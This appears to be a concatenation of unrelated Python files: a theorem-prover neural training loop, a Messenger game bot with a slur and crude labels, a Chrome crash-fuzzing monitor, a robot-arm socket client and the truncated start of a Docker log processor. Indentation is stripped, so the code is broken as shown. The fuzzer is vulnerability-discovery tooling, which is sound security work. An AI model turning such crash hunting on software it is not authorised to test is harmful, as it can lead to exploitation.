def weighted_std_deviation(weighted_mean,scaled_values,weights,weight_sum):
# print(weighted_mean)
# print(scaled_values)
# print(weights)
# print(weight_sum,flush=True)
values = np.divide(scaled_values, weights, out=np.ones_like(scaled_values), where=weights!=0.0) # whenever the respective weight is 0.0, the result should be understood as 1.0
squares = (values - weighted_mean)**2
std_dev = np.sqrt(np.sum(weights*squares,axis=0) / weight_sum)
return std_dev
if __name__ == "__main__":
# Experiments with pytorch and torch script
# what can be learned from a super-simple TreeNN
# which distinguishes:
# 1) conj, user_ax, theory_ax_kind in the leaves
# 2) what inference leads to this in the tree nodes
#
# Learn in parallel using a Pool of processes, or something similar
#
# probably needs to be run with "ulimit -Sn 3000" or something large
#
# To be called as in: ./multi_inf_parallel.py <folder_in> <folder_out> <initial-model>
#
# it expects <folder_in> to contain "training_data.pt" and "validation_data.pt"
# (and maybe also "data_sign.pt")
#
# if <initial-model> is not specified,
# it creates a new one in <folder_out> using the same naming scheme as initializer.py
#
# The log, the plot, and intermediate models are also saved in <folder_out>
# global redirect of prints to the just upen "logfile"
log = open("{}/run{}".format(sys.argv[2],IC.name_learning_regime_suffix()), 'w')
sys.stdout = log
sys.stderr = log
start_time = time.time()
train_data_idx = torch.load("{}/training_index.pt".format(sys.argv[1]))
print("Loaded train data:",len(train_data_idx))
valid_data_idx = torch.load("{}/validation_index.pt".format(sys.argv[1]))
print("Loaded valid data:",len(valid_data_idx))
if HP.TRR == HP.TestRiskRegimen_OVERFIT:
# merge validation data back to training set (and ditch early stopping regularization)
train_data_idx += valid_data_idx
valid_data_idx = []
print("Merged valid with train; final:",len(train_data_idx))
print()
print(time.time() - start_time,"Initialization finished",flush=True)
epoch = 0
MAX_EPOCH = HP.MAX_EPOCH
if len(sys.argv) >= 4:
(epoch,master_parts,optimizer) = load_checkpoint(sys.argv[3])
print("Loaded checkpoint",sys.argv[3],flush=True)
if len(sys.argv) >= 5:
MAX_EPOCH = int(sys.argv[4])
# update the learning rate according to hyperparams
for param_group in optimizer.param_groups:
param_group['lr'] = HP.LEARN_RATE
print("Set optimizer's (nominal) learning rate to",HP.LEARN_RATE)
else:
thax_sign,sine_sign,deriv_arits,thax_to_str = torch.load("{}/data_sign.pt".format(sys.argv[1]))
master_parts = IC.get_initial_model(thax_sign,sine_sign,deriv_arits)
model_name = "{}/initial{}".format(sys.argv[2],IC.name_initial_model_suffix())
torch.save(master_parts,model_name)
print("Created model parts and saved to",model_name,flush=True)
if HP.OPTIMIZER == HP.Optimizer_SGD: # could also play with momentum and its dampening here!
optimizer = torch.optim.SGD(master_parts.parameters(), lr=HP.LEARN_RATE)
elif HP.OPTIMIZER == HP.Optimizer_ADAM:
optimizer = torch.optim.Adam(master_parts.parameters(), lr=HP.LEARN_RATE, weight_decay=HP.WEIGHT_DECAY)
elif HP.OPTIMIZER == HP.Optimizer_ADAMW:
optimizer = torch.optim.AdamW(master_parts.parameters(), lr=HP.LEARN_RATE, weight_decay=HP.WEIGHT_DECAY)
q_in = torch.multiprocessing.Queue()
q_out = torch.multiprocessing.Queue()
my_processes = []
for i in range(HP.NUMPROCESSES):
p = torch.multiprocessing.Process(target=worker, args=(q_in,q_out))
p.start()
my_processes.append(p)
times = []
losses = []
losses_devs = []
posrates = []
posrates_devs = []
negrates = []
negrates_devs = []
id = 0 # id synchronizes writes to the worker pipe
samples_per_epoch = len(train_data_idx)
t = epoch*samples_per_epoch # time synchronizes writes to master_parts and the stasts
stats = np.zeros((samples_per_epoch,3)) # loss_sum, posOK_sum, negOK_sum
weights = np.zeros((samples_per_epoch,2)) # pos_weight, neg_weight
MAX_ACTIVE_TASKS = HP.NUMPROCESSES
num_active_tasks = 0
# NOTE: on air05, 3050189 was swapping (observed with thax500, embeddings 256)
# NOTE: on air05, 4000000 was still not enough for a good flow, but we got unstuck aumotmatically after a swapping slowdown
# (observed with thax2000, embeddings 256)
# with 3500000 there was still a slowdown (thax2000, emb 256) probably cause by a swapping period?
MAX_CAPACITY = 5000000 # a total size of 4653978 caused a crash on air05 with 300G RAM (maybe air04 would still be able to cope with 5M?)
# note that that was a run on thax1000, i.e. 1000 embeddings of axioms (how much do these actually take up in comparison to the proper matrices?)
assert HP.NUMPROCESSES * HP.COMPRESSION_THRESHOLD * 5 // 4 < MAX_CAPACITY
cur_allocated = 0
while True:
while num_active_tasks < MAX_ACTIVE_TASKS:
num_active_tasks += 1
while True:
(size,probname) = random.choice(train_data_idx)
print("Picking",probname,"of size",size,end="...")
if size >= HP.WHAT_IS_HUGE:
print("Is huge, skipping.")
elif cur_allocated + size > MAX_CAPACITY - (MAX_ACTIVE_TASKS-num_active_tasks) * (HP.COMPRESSION_THRESHOLD * 5 // 4):
print(f"too big! (cur_allocated is {cur_allocated} and still {(MAX_ACTIVE_TASKS-num_active_tasks)} tasks need to allocate)")
else:
print()
break
cur_allocated += size
print(time.time() - start_time,"starting job on problem",probname,"of size",size,flush=True)
id += 1
parts_file = "{}/parts_{}_{}.pt".format(HP.SCRATCH,os.getpid(),id)
torch.save(master_parts,parts_file)
q_in.put((probname,size,parts_file,True)) # training is always true in continuous! (TODO: factor out worker to inf_common!)
print(time.time() - start_time,"put finished",flush=True)
print()
print(time.time() - start_time,"about to call get")
(probname,size,loss_sum,posOK_sum,negOK_sum,tot_pos,tot_neg,parts_file,time_start,time_end) = q_out.get() # this may block
cur_allocated -= size
print(time.time() - start_time,"job finished at on problem",probname,"started",time_start-start_time,"finished",time_end-start_time,"took",time_end-time_start,flush=True)
print("Of weight",tot_pos,tot_neg,tot_pos+tot_neg)
print("Loss,pos,neg:",loss_sum/(tot_pos+tot_neg),posOK_sum/tot_pos if tot_pos > 0.0 else 1.0,negOK_sum/tot_neg if tot_neg > 0.0 else 1.0)
print()
stats[t % samples_per_epoch] = (loss_sum,posOK_sum,negOK_sum)
weights[t % samples_per_epoch] = (tot_pos,tot_neg)
t += 1
print(time.time() - start_time,"get finished for time_idx",t)
if HP.NON_CONSTANT_10_50_250_LR:
# LATER NORMALIZE THIS:
# it worked well with 256 embedding size
# it worked well with 40 processes active at a time!
# newly using preferrably n = 128 and 20 processes
# also chaging warmup to only 40 epochs and the max LR to 4x nominal (older comments left around - TODO clean up properly!)
if t <= 40*samples_per_epoch: # initial warmup: take "50 000" optimizer steps (= 50 epochs) to reach 5*HP.LEARN_RATE (in 10 epochs, HP.LEARN_RATE has been reached and then it's gradually overshot)
lr = HP.LEARN_RATE*t/(10*samples_per_epoch)
print("Increasing effective LR to",lr,flush=True)
for param_group in optimizer.param_groups:
param_group['lr'] = lr
else: # hyperbolic cooldown (reach HP.LEARN_RATE at "250 000" = 250 epochs) # newly reaches HP.LEARN_RATE at epoch 160
lr = 160*samples_per_epoch/t*HP.LEARN_RATE
print("Dropping effective LR to",lr,flush=True)
for param_group in optimizer.param_groups:
param_group['lr'] = lr
num_active_tasks -= 1
his_parts = torch.load(parts_file)
os.remove(parts_file)
copy_grads_back_from_param(master_parts,his_parts)
print(time.time() - start_time,"copy_grads_back_from_param finished")
if HP.CLIP_GRAD_NORM:
torch.nn.utils.clip_grad_norm_(master_parts.parameters(), HP.CLIP_GRAD_NORM)
if HP.CLIP_GRAD_VAL:
torch.nn.utils.clip_grad_value_(master_parts.parameters(), HP.CLIP_GRAD_VAL)
optimizer.step()
print(time.time() - start_time,"optimizer.step() finished")
modulus = t % samples_per_epoch
if modulus == 0:
epoch += 1
print("Epoch",epoch,"finished at",time.time() - start_time)
save_checkpoint(epoch,epoch,master_parts,optimizer)
print()
# print("stats",stats)
# print("weights",weights)
# sum-up stats over the "samples_per_epoch" entries (retain the var name):
loss_sum,posOK_sum,negOK_sum = np.sum(stats,axis=0)
tot_pos,tot_neg = np.sum(weights,axis=0)
print("loss_sum,posOK_sum,negOK_sum",loss_sum,posOK_sum,negOK_sum)
print("tot_pos,tot_neg",tot_pos,tot_neg)
# CAREFULE: could divide by zero!
sum_stats = np.sum(stats,axis=0)
loss = sum_stats[0]/(tot_pos+tot_neg)
posrate = sum_stats[1]/tot_pos
negrate = sum_stats[2]/tot_neg
loss_dev = weighted_std_deviation(loss,stats[:,0],np.sum(weights,axis=1),tot_pos+tot_neg)
posrate_dev = weighted_std_deviation(posrate,stats[:,1],weights[:,0],tot_pos)
negrate_dev = weighted_std_deviation(negrate,stats[:,2],weights[:,1],tot_neg)
print("Training stats:")
print("Loss:",loss,"+/-",loss_dev,flush=True)
print("Posrate:",posrate,"+/-",posrate_dev,flush=True)
print("Negrate:",negrate,"+/-",negrate_dev,flush=True)
print()
times.append(epoch)
losses.append(loss)
losses_devs.append(loss_dev)
posrates.append(posrate)
posrates_devs.append(posrate_dev)
negrates.append(negrate)
negrates_devs.append(negrate_dev)
IC.plot_with_devs("{}/plot.png".format(sys.argv[2]),times,losses,losses_devs,posrates,posrates_devs,negrates,negrates_devs)
if epoch >= MAX_EPOCH:
break
else:
# fractional checkpointing ... TODO: make only enabled later in the run?
if HP.FRACTIONAL_CHECKPOINTING > 0:
modulus_frac = samples_per_epoch // HP.FRACTIONAL_CHECKPOINTING
if modulus % modulus_frac == 0:
frac = modulus // modulus_frac
print("Epoch frac {}.{} finished at {}".format(epoch,frac,time.time() - start_time))
save_checkpoint(epoch+frac/HP.FRACTIONAL_CHECKPOINTING,"{}.{}".format(epoch,frac),master_parts,optimizer)
print()
# a final "cleanup"
for p in my_processes:
p.kill()
|
sending.py | import urllib3
import json
import threading
import os.path
from .playerio import *
urllib3.disable_warnings()
http = urllib3.PoolManager()
TOKEN = open( os.path.dirname(os.path.realpath(__file__)) + '/token.txt', 'r' ).read()
welcome = 'retard as shit' # Nice one
thread_pool = []
thread_option = False
def send_req(method, url, body, headers):
res = http.request( method, url, body=body, headers=headers )
check(res)
# deprecated
def start_sending(method, url, body, headers):
if thread_option:
t = threading.Thread( target = send_req, args = (method, url, body, headers) )
thread_pool.append( t )
t.start()
else:
send_req(method, url, body, headers)
def send_text_message_id(the_id, text):
url = "https://graph.facebook.com/v2.6/me/messages?access_token=" + TOKEN
body_dict = {
"recipient":{"id":the_id},
"message":{"text":text}
}
encoded_data = json.dumps(body_dict).encode('utf-8')
res = http.request( 'POST', url, body=encoded_data, headers={'Content-Type': 'application/json'} )
check(res)
# send the text message to the user, and return the whole response from urllib3
def send_text_message( player, text):
url = "https://graph.facebook.com/v2.6/me/messages?access_token=" + TOKEN
body_dict = {
"recipient":{"id":player.id},
"message":{"text":text}
}
encoded_data = json.dumps(body_dict).encode('utf-8')
'''
res = http.request( 'POST', url, body=encoded_data, headers={'Content-Type': 'application/json'} )
check(res)
'''
send_to_queue( player, ( 'POST', url, encoded_data, {'Content-Type': 'application/json'} ) )
# send message with buttons to the user, and return the whole response from urllib3
def send_button_message(user_id, text, title1=None, title2=None, title3=None):
url = "https://graph.facebook.com/v2.6/me/messages?access_token=" + TOKEN
the_btns = []
# payload should be carefully defined to maximumize the efficiency
'''
{
"type":"postback",
"title":title1,
"payload":"USER_DEFINED_PAYLOAD"
}
'''
body_dict = {
"recipient":{"id":user_id},
"message":{"attachment":{"type":"template",
"payload":{"template_type":"button","text":text,
"buttons":the_btns
}}}
}
encoded_data = json.dumps(body_dict).encode('utf-8')
#start_sending( 'POST', url, encoded_data, {'Content-Type': 'application/json'})
send_to_queue( player, ( 'POST', url, encoded_data, {'Content-Type': 'application/json'} ) )
# ask all people if they agree with the chosen team to go on a mission
def send_vote_choice_all( game ):
for player_id in game.players.keys():
send_vote_choice( player_id, game )
# ask a person if he/she agrees with the chosen team to go on a mission
def send_vote_choice( voter_id, game ):
'''
Payload format : voting-<game_number>-<yes or no>
'''
url = "https://graph.facebook.com/v2.6/me/messages?access_token=" + TOKEN
body_dict = {
"recipient":{"id":voter_id},
"message":{"text":'Do you agree to let these people go on a mission?',
"quick_replies":[
{
"content_type":"text",
"title":"Fuck yeah",
"payload":"voting-"+str(game.Game_num)+"-yes"
},
{
"content_type":"text",
"title":"Hell no",
"payload":"voting-"+str(game.Game_num)+"-no"
}
]
}
}
encoded_data = json.dumps(body_dict).encode('utf-8')
#start_sending( 'POST', url, encoded_data, {'Content-Type': 'application/json'})
send_to_queue( game.players[voter_id], ( 'POST', url, encoded_data, {'Content-Type': 'application/json'} ) )
# ask the current commander to choose his/her team for next mission
def send_people_choice( game, player_list ):
'''
For commander to choose who to carry out the mission
player_list includes the user id
Payload format : sendppl-<game_number>-<player_id>
'''
#game.players[ <play_id> ].name can get the name of users
url = "https://graph.facebook.com/v2.6/me/messages?access_token=" + TOKEN
the_btns = []
for the_person in player_list:
the_btns.append({
"content_type":"text",
"title":game.players[the_person].name,
"payload":"sendppl-"+game.Game_num+"-"+the_person
})
body_dict = {
"recipient":{"id":game.commander},
"message":{"text":'Choose a person for the mission',
"quick_replies":the_btns
}
}
encoded_data = json.dumps(body_dict).encode('utf-8')
send_to_queue( game.players[game.commander], ( 'POST', url, encoded_data, {'Content-Type': 'application/json'} ) )
# start_sending( 'POST', url, encoded_data, {'Content-Type': 'application/json'})
def ass_kill_choice( game,the_id, player_list ):
'''
For Assassin to guess who is Melin
player_list includes the user id
Payload format : asskill-<game_number>-<player_id>
'''
#game.players[ <play_id> ].name can get the name of users
url = "https://graph.facebook.com/v2.6/me/messages?access_token=" + TOKEN
the_btns = []
for the_person in player_list:
the_btns.append({
"content_type":"text",
"title":game.players[the_person].name,
"payload":"asskill-"+str(game.Game_num)+"-"+the_person
})
print('creating dict')
body_dict = {
"recipient":{"id":the_id},
"message":{"text":'Guess which one is Merlin.',
"quick_replies":the_btns
}
}
encoded_data = json.dumps(body_dict).encode('utf-8')
print('sending the buttons')
res = http.request( 'POST', url, headers={'Content-Type': 'application/json'}, body=encoded_data )
check( res )
def godness_choice( game,the_id, player_list ):
'''
For Commander to ask Godness people's side
player_list includes the user id
Payload format : godness-<game_number>-<player_id>
'''
#game.players[ <play_id> ].name can get the name of users
url = "https://graph.facebook.com/v2.6/me/messages?access_token=" + TOKEN
the_btns = []
for the_person in player_list:
the_btns.append({
"content_type":"text",
"title":game.players[the_person].name,
"payload":"godness-"+str(game.Game_num)+"-"+the_person
})
print('creating dict')
body_dict = {
"recipient":{"id":the_id},
"message":{"text":'Choose one to check out which side does he belongs.',
"quick_replies":the_btns
}
}
encoded_data = json.dumps(body_dict).encode('utf-8')
print('sending the buttons')
'''
res = http.request( 'POST', url, headers={'Content-Type': 'application/json'}, body=encoded_data )
check( res )
'''
send_to_queue( game.players[the_id], ( 'POST', url, encoded_data, {'Content-Type': 'application/json'} ) )
# ask a mission team member to decide success/failure
def send_mission_choice( voter_id, game ):
'''
To let a chosen person decide whether to let the mission success
Payload format : mission-<game_number>-<success or fail>
'''
print("sending mission choice to team")
url = "https://graph.facebook.com/v2.6/me/messages?access_token=" + TOKEN
body_dict = {
"recipient":{"id":voter_id},
"message":{"text":'Will you let the mission succeed? (Hint: Only bad guys can choose to fail the mission)',
"quick_replies":[
{
"content_type":"text",
"title":"Of course!",
"payload":"mission-"+str(game.Game_num)+"-success"
},
{
"content_type":"text",
"title":"Fuck it!",
"payload":"mission-"+str(game.Game_num)+"-fail"
}
]
}
}
print("button generated to " + voter_id)
encoded_data = json.dumps(body_dict).encode('utf-8')
#res = http.request( 'POST', url, headers={'Content-Type': 'application/json'}, body=encoded_data )
#check(res)
send_to_queue( game.players[voter_id], ( 'POST', url, encoded_data, {'Content-Type': 'application/json'} ) )
# ask all mission team members to decide success/failure
def send_mission_choice_all( game ):
'''
arrange to ask each missioner about whether or not to let a mission success
'''
for missioner_id in game.cur_mission.missioners:
send_mission_choice( missioner_id, game)
# announce the choice of the current commander to everyone
def announce_missioners( game ):
text = "Below is the chosen players:"
for chosen_player_id in game.cur_mission.missioners:
text = text + "\n" + game.players[chosen_player_id].name
announce_text_message( game, text )
# announce the result of the mission
def announce_mission_result( game, bool_result, success_num, fail_num ):
text = "The current mission has "
if bool_result:
text = text + "succeeded\nAll " + str(success_num) + " members have chosen success!"
else:
text = text + "failed\nThere are " + str(fail_num) + " failures in the team of " + str(success_num + fail_num)
announce_text_message( game, text )
# public broadcasting
def announce_text_message( game, text ):
for player in game.players.values():
send_text_message( player, text)
# broadcasting the chating message
def announce_chat_message( game, player, text ):
text = player.name + " : " + text
for recipient in game.players.values():
if recipient.id != player.id:
send_text_message( recipient, text)
# the persistent menu
def persist_menu():
url = "https://graph.facebook.com/v2.6/me/thread_settings?access_token=" + TOKEN
body_dict = {
"setting_type" : "call_to_actions",
"thread_state" : "existing_thread",
"call_to_actions":[
{
"type":"postback",
"title":"Explain rule",
"payload":"@exp"
},
{
"type":"postback",
"title":"My current status",
"payload":"@?"
},
{
"type":"postback",
"title":"Let's vote!",
"payload":"@hurry"
},
{
"type":"postback",
"title":"Exit game",
"payload":"@exit"
}
]
}
encoded_data = json.dumps(body_dict).encode('utf-8')
res = http.request( 'POST', url, headers={'Content-Type': 'application/json'}, body=encoded_data )
check( res )
persist_menu() |
run_fuzz_ubuntu.py | # monitor
import subprocess
import os
import time
import datetime
import threading
import shutil
import argparse
import Dashboard
BROWSER_PATH = ''
METHOD = None
URL = "http://127.0.0.1:8080/flag?"
MODE1 = "--incognito" # 시크릿 모드
MODE2 = "--no-sandbox" # 샌드박스 비활성화
MODE3 = "--user-data-dir=./tmp" # debug모드를 할때 FATAL에러 나는걸 피할 수 있다.
TIMEOUT = 300 # 5min
BROWSER_PID= 0
p = None
RUN_FLAG = False
def main():
global RUN_FLAG, DASHBOARD, METHOD, p
while(1):
if RUN_FLAG:
continue
RUN_FLAG = True
chrome_env = os.environ.copy() # ubuntu
chrome_env['ASAN_OPTIONS'] = "detect_leaks=0,detect_odr_violation=0" # ubuntu
cmd = []
cmd.append(BROWSER_PATH)
cmd.append(URL)
cmd.append(MODE1)
cmd.append(MODE2)
cmd.append(MODE3)
cmd = " ".join(cmd) # join으로 cmd를 주지 않으면 windows에서와는 다르게 URL 입력이 제대로 되지 않는다.
p = subprocess.Popen(cmd, env=chrome_env, stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1, close_fds=True, shell=True, preexec_fn=os.setsid)
BROWSER_PID = p.pid
DASHBOARD.Chrome_PID = BROWSER_PID
while(p.poll() is None): # p.poll()은 일하고있으면 None을 리턴함. 일을 마치면 0리턴
line = p.stderr.readline()
if (
(b"AddressSanitizer" in line)
or
(b"Check failed:".lower() in line.lower()) # for debug mode # case ignore # Check failed:, (dcheck failed:)
or
(b"dcheck" in line.lower()) # for debug mode
):
# testcase
now_time = datetime.datetime.now().strftime('%Y-%m-%d-%H-%M-%S')
testcase_copy = './log/crash_%s_'+now_time+'.html'
shutil.copy2('./templates/test.html', testcase_copy % METHOD)
# dashboard
if((b"AddressSanitizer" in line)):
DASHBOARD.CRSAH_COUNT += 1
DASHBOARD.LASTEST_CRASH_TIME = now_time
elif (b"Check failed:".lower() in line.lower()) or (b"dcheck" in line.lower()):
DASHBOARD.DCHECK_COUNT += 1
# crash log
log_path = './log/crash_%s_'+now_time+'.log'
with open(log_path % METHOD, "wb") as fp:
fp.write(line)
for line in p.stderr:
fp.write(line)
subprocess.call('pkill -9 chrome', shell=True)
p.stderr.close()
p.stdout.close()
DASHBOARD.Chrome_COUNT += 1
time.sleep(1)
RUN_FLAG = False
def argparse_init():
parser = argparse.ArgumentParser(description='Domino Monitor')
parser.add_argument('--method', '-m', help='METHOD : normal : Template Based Domato Fuzzing, iframe : Template Based Domato iframe Fuzzing', default='normal')
return parser
def set_fuzzing_type(parser):
global URL, METHOD
args = parser.parse_args()
if(args.method == 'normal'):
URL += 'test'
METHOD = 'normal'
elif(args.method == 'iframe'):
URL += 'iframe_test'
METHOD = 'iframe'
else:
parser.print_help()
os._exit(1)
if __name__ == '__main__':
if(BROWSER_PATH == ''):
print("[!] Please set the BROWSER_PATH.")
exit(1)
parser = argparse_init()
set_fuzzing_type(parser)
try:
DASHBOARD = Dashboard.Dashboard()
watch_testcase_name = None
if (METHOD == 'normal'):
watch_testcase_name = 'test.html'
elif(METHOD == 'iframe'):
watch_testcase_name = 'iframe_tc.html'
DASHBOARD.run_dashboard('./templates/'+watch_testcase_name)
while True:
browser_run_thread = threading.Thread(target=main)
browser_run_thread.start()
browser_run_thread.join(TIMEOUT) # set timeout 5분 대기
if browser_run_thread.is_alive():
subprocess.call('pkill -9 chrome', shell=True)
p.stderr.close()
p.stdout.close()
DASHBOARD.Chrome_COUNT += 1
# print("Restart!")
time.sleep(1)
RUN_FLAG = False
except KeyboardInterrupt:
os._exit(0) |
Hiwin_RT605_ArmCommand_Socket_20190627164220.py | #!/usr/bin/env python3
# license removed for brevity
import rospy
import os
import numpy as np
from std_msgs.msg import String
from ROS_Socket.srv import *
from ROS_Socket.msg import *
from std_msgs.msg import Int32MultiArray
import math
import enum
pos_feedback_times = 0
mode_feedback_times = 0
msg_feedback = 1
#接收策略端命令 用Socket傳輸至控制端電腦
import socket
##多執行序
import threading
import time
import sys
import matplotlib as plot
import HiwinRA605_socket_TCPcmd as TCP
import HiwinRA605_socket_Taskcmd as Taskcmd
Socket = 0
data = '0' #設定傳輸資料初始值
Arm_feedback = 1 #假設手臂忙碌
NAME = 'socket_server'
##------------class pos-------
class point():
def __init__(self, x, y, z, pitch, roll, yaw):
self.x = x
self.y = y
self.z = z
self.pitch = pitch
self.roll = roll
self.yaw = yaw
pos = point(0,36.8,11.35,-90,0,0)
##------------class socket_cmd---------
class socket_data():
def __init__(self, grip, setvel, ra, delay, setboth, action,Speedmode):
self.grip = grip
self.setvel = setvel
self.ra = ra
self.delay = delay
self.setboth = setboth
self.action = action
self.Speedmode = Speedmode
socket_cmd = socket_data(0,0,0,0,0,0,0)
##-----------switch define------------##
class switch(object):
def __init__(self, value):
self.value = value
self.fall = False
def __iter__(self):
"""Return the match method once, then stop"""
yield self.match
raise StopIteration
def match(self, *args):
"""Indicate whether or not to enter a case suite"""
if self.fall or not args:
return True
elif self.value in args: # changed for v1.5, see below
self.fall = True
return True
else:
return False
##-----------client feedback arm state----------
class StateFeedback():
def _init_(self,ArmState,SentFlag):
self.ArmState = ArmState
self.SentFlag = SentFlag
state_feedback = StateFeedback(False,False)
def point_data(x,y,z,pitch,roll,yaw): ##接收策略端傳送位姿資料
pos.x = x
pos.y = y
pos.z = z
pos.pitch = pitch
pos.roll = roll
pos.yaw = yaw
##----------Arm Mode-------------###
def Arm_Mode(action,grip,ra,setvel,setboth): ##接收策略端傳送手臂模式資料
global arm_mode_flag
socket_cmd.action = action
socket_cmd.grip = grip
socket_cmd.ra = ra
socket_cmd.setvel = setvel
socket_cmd.setboth = setboth
arm_mode_flag = True
Socket_command()
##-------Arm Speed Mode------------###
def Speed_Mode(speedmode): ##接收策略端傳送手臂模式資料
global speed_mode_flag
socket_cmd.Speedmode = speedmode
# def Grip_Mode(req): ##接收策略端傳送夾爪動作資料
# socket_cmd.grip = int('%s'%req.grip)
# return(1)
def socket_talker(): ##創建Server node
pub = rospy.Publisher('chatter', Int32MultiArray, queue_size=10)
rospy.init_node(NAME)
rate = rospy.Rate(10) # 10hz
while not rospy.is_shutdown():
# hello_str = "hello world %s" % rospy.get_time()
state = Int32MultiArray()
state.data = [1,2]
# rospy.loginfo(state)
pub.publish(state)
rate.sleep()
# a = rospy.Service('arm_mode',arm_mode, Arm_Mode) ##server arm mode data
# s = rospy.Service('arm_pos',arm_data, point_data) ##server arm point data
# b = rospy.Service('speed_mode',speed_mode, Speed_Mode) ##server speed mode data
#c = rospy.Service('grip_mode',grip_mode, Grip_Mode) ##server grip mode data
print ("Ready to connect")
#rospy.spin() ## spin one
##------------server 端 end-------
##----------socket 封包傳輸--------------##
##---------------socket 傳輸手臂命令-----------------
def Socket_command():
global arm_mode_flag,speed_mode_flag,point_data_flag
if arm_mode_flag == True:
arm_mode_flag = False
for case in switch(socket_cmd.action):
#-------PtP Mode--------
if case(Taskcmd.Action_Type.PtoP):
for case in switch(socket_cmd.setboth):
if case(Taskcmd.Ctrl_Mode.CTRL_POS):
data = TCP.SetPtoP(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_POS,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel)
break
if case(Taskcmd.Ctrl_Mode.CTRL_EULER):
data = TCP.SetPtoP(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_EULER,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel)
break
if case(Taskcmd.Ctrl_Mode.CTRL_BOTH):
data = TCP.SetPtoP(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_BOTH,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel)
break
break
#-------Line Mode--------
if case(Taskcmd.Action_Type.Line):
for case in switch(socket_cmd.setboth):
if case(Taskcmd.Ctrl_Mode.CTRL_POS):
data = TCP.SetLine(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_POS,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel)
break
if case(Taskcmd.Ctrl_Mode.CTRL_EULER):
data = TCP.SetLine(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_EULER,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel )
break
if case(Taskcmd.Ctrl_Mode.CTRL_BOTH):
data = TCP.SetLine(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_BOTH,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel )
break
break
#-------設定手臂速度--------
if case(Taskcmd.Action_Type.SetVel):
data = TCP.SetVel(socket_cmd.grip, socket_cmd.setvel)
break
#-------設定手臂Delay時間--------
if case(Taskcmd.Action_Type.Delay):
data = TCP.SetDelay(socket_cmd.grip,0)
break
#-------設定手臂急速&安全模式--------
if case(Taskcmd.Action_Type.Mode):
data = TCP.Set_SpeedMode(socket_cmd.grip,socket_cmd.Speedmode)
break
socket_cmd.action= 5 ##切換初始mode狀態
Socket.send(data.encode('utf-8'))#socket傳送for python to translate str
# Socket_sent_flag = True
# socket_client_sent_flag(Socket_sent_flag)
##-----------socket client--------
def socket_client():
global Socket,Arm_feedback,data,Socket_sent_flag
try:
Socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Socket.connect(('192.168.0.1', 8080))#iclab 5 & iclab hiwin
#s.connect(('192.168.1.102', 8080))#iclab computerx
except socket.error as msg:
print(msg)
sys.exit(1)
print('Connection has been successful')
print(Socket.recv(1024))
while 1:
feedback_str = Socket.recv(1024)
#手臂端傳送手臂狀態
if str(feedback_str[2]) == '48':# F 手臂為Ready狀態準備接收下一個運動指令
state_feedback.ArmState = False
# Arm_feedback = 0
# socket_client_arm_state(Arm_feedback)
#print("isbusy false")
if str(feedback_str[2]) == '49':# T 手臂為忙碌狀態無法執行下一個運動指令
state_feedback.ArmState = True
# Arm_feedback = 1
# socket_client_arm_state(Arm_feedback)
#print("isbusy true")
if str(feedback_str[2]) == '54':# 6 策略完成
state_feedback.ArmState = 6
# Arm_feedback = 6
# socket_client_arm_state(Arm_feedback)
print("shutdown")
#確認傳送旗標
if str(feedback_str[4]) == '48':#回傳0 false
state_feedback.SentFlag = False
# Socket_sent_flag = False
# socket_client_sent_flag(Socket_sent_flag)
if str(feedback_str[4]) == '49':#回傳1 true
state_feedback.SentFlag = True
# Socket_sent_flag = True
# socket_client_sent_flag(Socket_sent_flag)
##---------------socket 傳輸手臂命令 end-----------------
if Arm_feedback == Taskcmd.Arm_feedback_Type.shutdown:
break
rospy.on_shutdown(myhook)
Socket.close()
##-----------socket client end--------
##-------------socket 封包傳輸 end--------------##
## 多執行緒
def thread_test():
socket_client()
## 多執行序 end
def myhook():
print ("shutdown time!")
if __name__ == '__main__':
socket_cmd.action = 5##切換初始mode狀態
t = threading.Thread(target=thread_test)
t.start() # 開啟多執行緒
try:
socket_talker()
except rospy.ROSInterruptException:
pass
t.join() |
docker_log_processor.py | #!/usr/bin/env python
# Copyright (c) Microsoft. All rights reserved.
# Licensed under the MIT license. See LICENSE file in the project root for
# full license information.
#
# filename: docker_log_processor.py
# author: v-greach@microsoft.com
# created: 01/29/2019
# Rev: 03/05/2019 A
from multiprocessing import Process, Queue, Event
from threading import Thread
from datetime import datetime, timedelta
import docker
import time
import argparse
import sys
class DockerLogProcessor:
def __init__(self, args):
# Parse args
parser = argparse.ArgumentParser(description="Docker Log Processor")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-staticfile', action='append', nargs='+', help="filename to read from")
group.add_argument('-modulename', action='append', nargs='+', help="docker modulename to read from")
parser.add_argument('-filterfile', nargs=1, help="filename of json filters")
arguments = parser.parse_args(args)
if arguments.staticfile:
self.process_static_log(arguments.staticfile, arguments.filterfile)
else:
self.queue = Queue()
self.logger_thread = Thread(target = self.process_queue)
self.logger_thread.start()
self.watcher_processes = []
for container_name in arguments.modulename:
print("Getting Log for: " + container_name)
new_process = Process(target = self.get_log_from_container, args=(container_name, self.queue))
new_process.start()
self.watcher_processes.append(new_process)
@classmethod
def format_date_and_time(self, date_in="", time_format="%Y-%m-%d %H:%M:%S.%f"):
"""
Formats a string into a datetime type.
date_in comes in, if it's empty, set it to NOW,
then using the format, convert the string to datetime type.
Parameters
----------
date_in : string
String to convert - can be null
time_format : string
format of string for datetime conversion
Returns
-------
datetime
converted input string or NOW() if date_in is empty
"""
date_out =""
if not date_in:
date_out = datetime.strftime(datetime.now(), time_format)
return date_out
date_in = date_in.replace('T', ' ')
if len(date_in) > 26:
date_in = date_in[:26]
